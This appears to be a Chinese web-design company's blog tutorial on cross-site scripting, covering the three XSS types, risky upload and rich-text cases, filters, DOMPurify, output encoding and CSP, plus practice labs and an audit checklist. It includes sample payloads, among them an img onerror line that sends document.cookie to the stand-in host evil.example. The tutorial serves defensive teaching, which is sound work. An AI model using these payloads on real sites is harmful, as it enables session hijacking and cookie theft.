尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

前端安全必修课:XSS攻击原理与防御实战指南

前端安全必修课:XSS攻击原理与防御实战指南 1. 为什么前端安全的第一课总是XSS1.1 一个看似正常的请求背后可能藏着别人的“手”前后端分离、SPA 大行其道的今天前端不只是“展示页面”它已经承担了路由、渲染、状态管理、数据交互等核心职责。而就在这些复杂流程里有一个从 Web 1.0 时代一路火到现在的漏洞类型——XSSCross-Site Scripting跨站脚本攻击。它不挑语言不挑框架只要页面里存在“把不可信数据当成代码输出”的地方就可能中招。它也是 OWASP Top 10 里的常客更是前端安全里最基础、最核心、绕不开的一道坎。简单说XSS 就是攻击者想方设法让浏览器执行一段原本不应该执行的脚本。这个“脚本”可以是一段 JavaScript、一个标签甚至一个加载外部资源的 URL。它之所以难防是因为浏览器本身无法区分一段内容到底是“用户输入的数据”还是“页面开发者设计的代码”当接口数据、URL 参数、表单内容被原样塞进 HTML、JavaScript 或 CSS 上下文时信任边界就被打破了。我最早接触这个概念是在做搜索功能时——用户输入的内容被直接拼进页面测试时提交了scriptalert(1)/script浏览器直接弹窗那一刻我才真正理解了什么叫“数据与代码混淆”。这篇文章的目标是把 XSS 的三种形态、真实危害、常见高危险场景、纵深防御方案以及学习路线完整讲透。不管你是刚入门的前端新人还是要给老项目做安全加固的技术负责人都能从中找到可以直接落地的内容。1.2 三种 XSS 形态对付方法完全不同很多人一听 XSS 就以为是一种漏洞实际上它是三类问题的统称反射型 XSS、存储型 XSS 和 DOM 型 XSS。三者的核心区别可以用一句话粗略概括反射型是一次性演出存储型是长期潜伏DOM 型是浏览器内部的“家贼”。它们的攻击链路、检测方式和防御侧重点差异很大。反射型 XSS 依赖攻击者构造恶意 URL 并诱导用户点击服务端拿到参数后未过滤直接输出到响应页面存储型 XSS 则把 payload 持久化到数据库里用户访问正常页面时后端查询出脏数据并渲染攻击者的脚本就在不设防的浏览器上执行DOM 型 XSS 最特殊它甚至不需要服务端参与完全是前端 JS 代码在运行过程中把不可信来源的数据写进了 DOM 操作函数里比如innerHTML、document.write这些高危方法的滥用。我见过不少团队只对“请求参数”做了过滤没管数据库里已有的脏数据也没审查前端有没有直接把location.search里的内容塞进页面结果存储型和 DOM 型该爆还是爆。要拿下前端安全里的 XSS 问题先把形态分清楚才能在不同环节设置对应的防线。2. 反射型、存储型与 DOM 型 XSS 的实战拆解2.1 反射型 XSS一条 URL 引发的会话劫持反射型 XSS 又叫非持久型 XSS它的特点是“payload 在一次请求响应中就反射回来”。最常见的场景是搜索框、错误提示页、参数回显页面。用户提交的内容被服务端接受后不经过任何过滤或编码直接拼接到返回的 HTML 中。举个例子一个站内搜索功能 URL 长这样https://example.com/search?keyword前端安全页面里多半会有“您搜索的关键词是前端安全”这样的回显。如果服务端直接拼接模板攻击者构造这样的链接https://example.com/search?keywordscriptalert(document.cookie)/script受害者点击后脚本就会在浏览器中执行。由于攻击场景一般需要诱导用户点击链接很多人会低估反射型 XSS 的危害但结合网络钓鱼、URL 跳转、短链接伪装等手段它的杀伤力丝毫不低。攻击者完全可以把恶意链接伪装成“限时领取优惠券”“账号异常验证”之类的幌子等受害者在登录态下打开脚本就能读取 Cookie、截取页面内容甚至以受害者身份发起操作。防御反射型 XSS 的思路其实很清晰对输出的动态内容做 HTML 实体编码。在大多数模板引擎里都有对应的编码函数比如 Vue 的插值表达式{{ }}、React 的{表达式}默认就会对字符串做转义但要注意v-html和dangerouslySetInnerHTML这两个危险出口一旦使用者主动传入不可信内容默认保护就失效了。2.2 存储型 XSS真正让你防不胜防的持久化攻击存储型 XSS 又叫持久型 XSS。攻击者的 payload 会被保存到服务端数据库、文件存储或缓存系统中之后任何用户访问包含该数据的页面时都会反复触发脚本。它不需要精心伪装链接也不需要受害者点击特定 URL只要正常浏览网站就能中招。从传播效率上说它是最危险的 XSS 类型。最常见的受害场景包括评论区、留言板、个人资料编辑、商品评价、富文本内容发布。攻击者提交一段包含恶意脚本的内容后台管理员一旦在管理后台查看这条记录脚本同样会在管理员的浏览器中执行——这就是“存储型 XSS 管理员后台 后台沦陷”的经典攻击链。举个特别典型的案例某论坛的签名档功能允许用户填写一段自定义文本后台在渲染个人主页时直接输出该字段并且没有做任何过滤。攻击者提交的签名档是img srcx onerrorfetch(https://evil.example/collect?cookie document.cookie)那么任何访问攻击者个人主页的用户浏览器都会尝试加载一张不存在的图片触发onerror事件把当前用户的 Cookie 发送到攻击者服务器。如果踩坑的是一个未启用 HttpOnly 的会话 Cookie整个账号就等于拱手相让。防御存储型 XSS 需要两条腿走路写入时校验输出时编码。但我要多说一句输出编码永远比输入过滤更可靠因为输入有无数种变形方式而输出只要按上下文编码就一定能挡住大多数 payload。同时对于评论区这种天然需要“部分 HTML”能力的场景建议不要自己用黑名单过滤 XSS 标签而是使用成熟的白名单过滤库比如 DOMPurify。2.3 DOM 型 XSS绕过所有后端过滤的隐形杀手DOM 型 XSS 是整个 XSS 家族里最“狡猾”的形态。它不依赖服务端把 payload 反射出来也不依赖数据库持久化而是前端 JavaScript 自身在浏览器里把攻击者可控的数据传入了危险函数。由于攻击过程完全不经过服务端服务端的 WAF、过滤器、防火墙统统看不到攻击流量这就是它能绕过常规防护的根本原因。比较经典的 DOM 型 XSS 代码长这样const name new URLSearchParams(window.location.search).get(name); document.getElementById(welcome).innerHTML 欢迎 name;攻击者构造 URLhttps://example.com/welcome?nameimg srcx onerroralert(document.cookie)浏览器打开后name参数被原样赋值给innerHTML图片加载失败触发onerror脚本执行。整个过程服务端返回的 HTML 是完全正常的攻击 payload 只在浏览器端被“解析”成了代码。还有一个容易忽略的来源是location.hash、document.referrer、window.name、postMessage消息等它们都可能被攻击者控制或诱导。要发现这类漏洞单纯靠抓包看不出来必须在浏览器里动态调试检查前端代码里有哪些地方把外部数据传进了innerHTML、outerHTML、document.write、eval、setTimeout、Function这些“危险 sink”。防御 DOM 型 XSS 的核心是禁止把不可信内容传入这些危险 sink。能不用innerHTML就不用优先使用textContent、innerText或框架自带的插值渲染。如果确实要渲染富文本必须经过白名单过滤后再插入。3. 那些容易被 XSS 盯上的高危场景3.1 文件上传场景PDF 上传怎么也会被 XSS 利用很多团队做安全加固时把注意力集中在接口参数上忽略了文件上传功能。我在做项目自查时发现文件上传是 XSS 攻击一个非常隐蔽的突破口。攻击方式不是把木马藏在文件里而是利用上传后的文件内容和文件本身的“执行环境”来实现脚本注入。最容易出问题的首先是 SVG 文件。SVG 本质是 XML内部可以直接嵌script标签浏览器请求 SVG 时会把其中的 JS 当页面脚本执行。如果站点允许上传 SVG 并直接通过原始 URL 访问那么攻击者只需要上传一个包含脚本的 SVG 文件再把链接发给目标用户脚本就会在站点域名下执行。PDF 文件也存在类似问题。PDF 规范支持 JavaScript 脚本虽然现代浏览器出于安全考虑对 PDF 内嵌 JS 有诸多限制但依然存在被利用的空间更常见的是 PDF 文件名回显在页面时文件名中包含的script或事件属性被浏览器解析执行。对付这类问题有两个关键做法第一上传时必须校验文件真实类型不能只看扩展名和 Content-Type要通过解析文件头判断实际格式例如 PDF 文件的头部一般是%PDF图片文件如 JPEG 以FF D8 FF开头PNG 以89 50 4E 47开头。第二所有由用户上传并回显到页面的内容包括文件名、文件描述、缩略图 alt 属性等一律按输出编码规则处理。我在一个 Spring Boot 项目里做过这样的修复对上传统一走网关过滤器多文件请求先判断是否为 multipart 格式再逐项检查参数和文件名文件名回显前强制做 HTML 编码SVG 上传直接禁止PDF 级文件交给后端服务转码成 SWF 或图片后再预览。那之后才敢说这个上传入口的 XSS 风险基本可控。3.2 JSON 接口与富文本编辑器的输出陷阱前后端分离项目里后端返回 JSON 数据前端 JS 拿到数据后渲染到 DOM这里同样防不胜防。我见过不少前端同事直接在ajax回调里写document.getElementById(list).innerHTML div item.title /div;如果item.title来自用户提交那这段代码就是标准的 DOM 型 XSS。JSON 接口看似安全实际上只是把 XSS 的执行从服务端模板转移到了前端 JS。富文本编辑器是另一个重灾区。编辑器通常允许用户输入b、i、a这类标签提交后服务端如果不过滤直接存库然后原样输出等于给 XSS 开了绿灯。比如用户输入a hrefjavascript:alert(document.cookie)点我领红包/a页面渲染时就会生成一个可执行的javascript:伪协议链接。对于这种场景比较稳妥的方案是用 DOMPurify 这类白名单过滤库在提交前把非白名单的标签、属性和伪协议全部清洗掉只保留配置里允许的内容。3.3 Spring Boot 项目全局过滤器从入口统一拦截 XSS 攻击很多 Java 后端起家团队的首选方案是写一个全局 XSS 过滤器统一拦截所有 HTTP 请求在入口处对参数做清理和转义。这个方案解决的是“防止脏数据入库”的问题实现方式通常是用Filter包装HttpServletRequest在读取请求参数时统一调用清洗方法。基本的实现思路分几步。自定义一个XssHttpServletRequestWrapper继承HttpServletRequestWrapper重写getParameter、getParameterValues和getHeader对取到的值做 HTML 转义也就是把替换成lt;把替换成gt;同时处理引号和斜杠public class XssFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) { HttpServletRequest req (HttpServletRequest) request; // 只处理包含参数的请求 chain.doFilter(new XssHttpServletRequestWrapper(req), response); } }但这里有个非常容易踩的坑如果全局过滤器无差别地处理 multipart 文件上传请求会把文件流也读进来做转义导致文件上传失败或文件内容被破坏。所以处理文件上传时必须在 wrapper 里判断Content-Type如果是以multipart/form-data开头就直接放行或者只对文件名字段做处理不要碰文件流。我在实践中总结了一个相对完整的过滤器设计模型关注点建议方案请求范围只拦截应用业务接口不拦截静态资源和上传接口内容类型普通表单和 JSON 请求做参数清洗multipart 请求只处理文件名字段过滤策略优先使用白名单标签保留、、、等敏感字符转义配置开关提供配置文件开关遇到误杀问题时可以快速关闭记录日志记录拦截到的恶意参数便于安全分析和溯源这个方案能解决 80% 的“参数型 XSS”但它不解决 DOM 型 XSS也解决不了富文本场景的持久化 XSS。所以我一直强调过滤器是“纵深防御”的一环不是全部。4. 纵深防御从输入校验到动态防护的完整方案4.1 输入侧白名单校验与 HTML 过滤的正确姿势很多人一提到防 XSS第一反应是“过滤用户输入把 script 标签去掉”。这个思路对不对对但不完整。黑名单过滤最大的问题是永远追不上攻击者的变形技巧比如大小写绕过、编码绕过、标签嵌套绕过。script被过滤了攻击者可以用scrscriptipt还可以用img srcx onerror...黑名单防不胜防。更可靠的输入侧策略是白名单校验能明确限定格式的字段直接做格式校验不能限定格式的自由文本走 HTML 净化库。对大部分业务字段来说用户名只允许字母、数字、下划线、中文和白合法度校验就够了用户简介这种需要富文本能力的字段交给 DOMPurify 处理import DOMPurify from dompurify; const clean DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [b, i, em, strong, a, p, br, ul, ol, li], ALLOWED_ATTR: [href, target, rel] });我用 DOMPurify 洗过富文本内容默认配置会去掉onerror、onclick、javascript:伪协议、iframe、object这些危险元素实测能挡住绝大多数 XSS payload。前者是业务层的格式约束后者是内容层的 HTML 净化两者叠加输入侧的防线才算立住了。4.2 输出侧上下文相关的编码规则输入过滤可以被绕过但输出编码只要做对了基本是“物理免疫”级别的防护。这里的关键词是“上下文相关”因为同样一段用户输入出现在 HTML 标签内、属性值内、JavaScript 字符串内、URL 内对应的编码规则完全不同。在 HTML 元素内容里输出要转义 这几个字符转成对应的实体编码在属性值里输出双引号必须转成quot;在 JavaScript 字符串里输出不能只做 HTML 转义要把、\、换行符等做 JS 转义在 URL 里输出必须做 URL 编码。后端模板引擎一般都有现成的编码能力。Vue 和 React 默认渲染字符串时会自动转义真正危险的是v-html、innerHTML、dangerouslySetInnerHTML。前端如果实在需要在 JS 里动态创建 DOM最安全的做法是用document.createElementtextContent而不是拼接字符串再用innerHTML输出。一个简单的前端编码函数可以参考function encodeHtml(str) { if (!str) return ; return String(str) .replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;) .replace(//g, quot;) .replace(//g, #39;); }这个函数不能用来过滤富文本但用来渲染普通文本、文件名、告警信息已经够用了。不同上下文用不同编码这是输出侧防护的核心原则。4.3 动态防御CSP、HttpOnly 与 SameSite 三件套输入过滤和输出编码属于应用层的“静态防御”而 CSPContent Security Policy内容安全策略则是一种动态防御思路它从浏览器层面限制了页面可以加载和执行的资源。只要 CSP 配置正确即使攻击者成功注入了一段脚本浏览器也会拒绝执行。一个相对严格的 CSP 配置样例Content-Security-Policy: default-src self; script-src self nonce-随机值; object-src none; base-uri self;这段策略的意思是所有资源默认只能从同源加载脚本只信任同源带正确 nonce 的标签禁止加载插件类资源。如果业务中有内联脚本可以给script标签加上nonce属性服务端每次生成随机值这样外部注入的脚本因为没有合法 nonce 会被浏览器直接拦截。再配合两个重要响应头Set-Cookie时加上HttpOnly和SameSite属性。HttpOnly脚本无法通过document.cookie读取该 Cookie从源头切断最常见的信息窃取路径。SameSite限制跨站请求携带 Cookie对 CSRF 也有防护作用。对前端开发来说Cookie 的 HttpOnly 属性需要后端设置但前端应该主动和后端约定会话 Cookie 一律启用HttpOnly。前端能约束的范围有限但安全意识必须在两端同步建立。5. 实战演练路线从靶场学习到真实项目自测5.1 靶场对比DVWA、Pikachu、PortSwigger 学起来有什么区别原理看再多不如动手打一遍。想真正理解 XSS 的攻击手法和绕过思路靶场是最好的练习场。我把自己练过的几个靶场整理了一张对比表靶场适合人群特点备注DVWA零基础入门自带多层次难度XSS 模块从低到高逐步提升过滤强度可以边改代码边看防绕过逻辑Pikachu有基础、想做系统学习内置 XSS 分类训练覆盖面广课后有提示适合按类型刷题PortSwigger Web Security Academy进阶选手场景贴近真实业务难度高有官方解题指引法律和合规性非常规范强烈推荐CTF 平台ctfshow、ctfhub 等竞赛向选手XSS 题目往往结合 DOM、Cookie、CSP 绕过、前端代码审计适合训练“在限制条件下构造 payload”的能力DVWA 的低等级 XSS 题直接把用户输入拼进页面中等级过滤了script但没有过滤其他标签高等级用了更严格的转义这种设置非常适合观察不同防御强度下攻击面如何变化。Pikachu 的 XSS 模块更注重对 XSS 类型的辨别比如同样是搜索框很容易分辨出反射型和 DOM 型的区别。等这两个基础关过完再上 PortSwigger 的进阶题感受真实场景中的过滤器绕过你会发现之前学的原理解析瞬间立体了起来。5.2 在 CTF 题型中理解 XSS 的三个核心考点CTF 中的 XSS 题目往往是综合性很强的前端安全挑战。从题型设置来看基本围绕三个核心能力展开基础注入能力、编码绕过能力和前端代码审计能力。基础注入能力考的是对漏洞最基本触发的把握比如把alert(document.domain)或img srcx onerroralert(1)注入到目标位置。编码绕过能力考的是对过滤规则的理解比如后端过滤了括号、分号、引号就需要用 JSFuck、模板字符串、原型链等方法构造 payloadCSP 存在放行外部 script 的错误配置时要从域名、路径、nonce 泄露这几个角度考虑绕过。前端代码审计能力则是 DOM 型 XSS 的关键题目会故意把location.hash或者postMessage数据传入innerHTML需要你快速定位危险 sink 并构造触发的输入链。我在做 CTF 题时养成了一个习惯每道题先看前端源码找到所有innerHTML、document.write、eval等危险函数再反推哪些外部数据可以流向这些函数。这个习惯在后来的实际项目代码审计中也帮我解决了不少隐患。5.3 真实项目中的 XSS 自测排查清单在给团队做 XSS 安全评审时我会按下面这份清单过一遍代码基本上能把常规隐患扫干净。搜索所有innerHTML、outerHTML、document.write、insertAdjacentHTML、eval、new Function、setTimeout(字符串)的使用位置。检查每个用户可控数据源URL 参数、hash、postMessage、Cookie、localStorage、后端接口返回值是否经过编码或过滤后才输出。检查富文本编辑器内容是否在入库前经过白名单净化。检查文件上传功能是否允许上传 SVG、HTML 且直接以原始 URL 访问。检查服务端模板中是否有|safe、{!! !!}、html()之类强制不做转义输出的写法。检查会话 Cookie 是否带HttpOnly和SameSite属性。检查全局 CSP 是否配置。检查日志中是否有人提交过script、onerror等敏感关键字。这套清单我整理成了团队内部的安全自检表每次新功能发布前过一遍比单纯靠代码评审查漏要系统得多。前端安全不是做完一次加固就一劳永逸的事新功能上来、新依赖引入攻击面就会动态变化定期自检是一种必要的成本。最后分享一个我自己的教训。早年在给某项目做全局 XSS 过滤器时为了图省事把商品标题、用户昵称、富文本内容全走了同一个清洗逻辑结果导致用户在后台编辑商品介绍时正常的b、a标签全被转义成实体页面显示得乱七八糟运营同事差点以为数据丢了。从那以后我就明白安全方案的落地必须考虑业务场景不能一把抓该用输出编码的绝不用输入过滤该白名单放行的绝不一刀切转义。防御 XSS 不是做一道算术题而是要在安全的边界和业务的可用性之间找一个合适的平衡点。
返回列表